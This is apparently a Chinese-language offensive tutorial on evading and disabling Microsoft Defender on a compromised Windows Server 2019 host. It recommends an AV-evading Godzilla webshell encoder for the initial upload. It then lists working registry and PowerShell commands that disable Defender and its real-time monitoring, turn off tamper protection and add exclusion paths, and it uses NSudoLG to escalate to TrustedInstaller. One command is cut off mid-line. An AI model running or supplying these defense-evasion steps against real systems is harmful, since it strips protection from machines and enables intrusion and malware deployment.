Windows defender 介绍
Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。
Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。这种保护将机器学习、大数据分析、深入的威胁防御研究和 Microsoft 云基础设施结合在一起,以保护您组织中的设备(或端点)。Microsoft Defender 防病毒软件内置于 Windows 中,它与 Microsoft Defender for Endpoint 配合使用,为你的设备和云提供保护。
Windows defender 环境
版本
Windows Server 系统环境
- 用户:Administrator
- 版本:Windows Server 2019
补丁
事前准备
在实战环境中,首先需要上传webshell,所以在此必须免杀webshell
web环境:phpstudy 8.1.1.3 + apache 2.4.39 + php 7.3.4
哥斯拉 webshell 免杀
工具地址:https://github.com/BeichenDream/Godzilla
经过测试,用Godzilla自带的PHP_XOR_BASE64
加密器即可免杀(php一句话直接杀)
生成 PHP_XOR_BASE64 webshell
基础命令介绍
cmd
#查看排除项
reg query “HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions” /s
#查看版本
dir “C:\ProgramData\Microsoft\Windows Defender\Platform\” /od /ad /b
#查看篡改保护(返回结果中的 数值5代表开启,数值4代表关闭)
reg query “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features” /v “TamperProtection”
#需要TrustedInstaller权限
##cmd注册表关闭Windows defender
reg add “HKLM\SOFTWARE\Microsoft\Windows Defender” /v DisableAntiSpyware /t reg_dword /d 1 /f
##cmd关闭篡改保护
NSudoLG.exe -U:T cmd /c “reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features” /v “TamperProtection” /d 4 /t REG_DWORD /f”
##cmd注册表恢复Windows defender
reg add “HKLM\SOFTWARE\Microsoft\Windows Defender” /v DisableAntiSpyware /t reg_dword /d 0 /f
##cmd添加Windows defender排除项
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths” /v “c:\temp” /d 0 /t REG_DWORD /f
powershell
#查看排除项
Get-MpPreference | select ExclusionPath
#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true
#增加排除项
Add-MpPreference -ExclusionPath “c:\temp”
#删除排除项
Remove-MpPreference -ExclusionPath “C:\test”
#关闭实时保护
Set-MpPreference -DisableRealtimeMonitoring $true
关闭 Windows defender
TrustedInstaller
TrustedInstaller是从Windows Vista开始出现的一个内置安全主体,在Windows中拥有修改系统文件权限,本身是一个服务,以一个账户组的形式出现。
它的全名是:NT SERVICE\TrustedInstaller
为什么要获取TrustedInstaller权限?
说白了就是因为Administratior权限和system权限无法关闭 Windows defender
注意:以下工具和技巧皆需要Administratior权限才能成功使用
NSudoLG
工具地址:https://github.com/M2Team/NSudo
下载后使用:D:\Documents\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe
免杀测试
使用方法
注意:此工具的 -U:T 参数是获取了 TrustedInstaller 权限#cmd注册表关闭Windows defender
reg add “HKLM\SOFTWARE\Microsoft\Windows Defender” /v DisableAntiSpyware /t reg_dword /d 1 /f
#cmd注册表恢复Windows defender
reg add “HKLM\SOFTWARE\Microsoft\Windows Defender” /v DisableAntiSpyware /t reg_dword /d 0 /f
#cmd添加Windows defender排除项
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths” /v “c:\temp” /d 0 /t REG_DWORD /f
#NSudoLG.exe关闭Windows defender
NSudoLG.exe -U:T cmd /c “reg add “HKLM\SOFTWARE\Microsoft\Windows Defender” /v DisableAntiSpyware /t reg_dword /d 1 /f”
#NSudoLG.exe恢复Windows defender
NSudoLG.exe -U:T cmd /c “reg add “HKLM\SOFTWARE\Microsoft\Windows Defender” /v DisableAntiSpyware /t reg_dword /d 0 /f”
#NSudoLG.exe添加Windows defender排除项
NSudoLG.exe -U:T cmd /c “reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Ex
AdvancedRun
地址:https://www.nirsoft.net/utils/advanced_run.html
暂无评论内容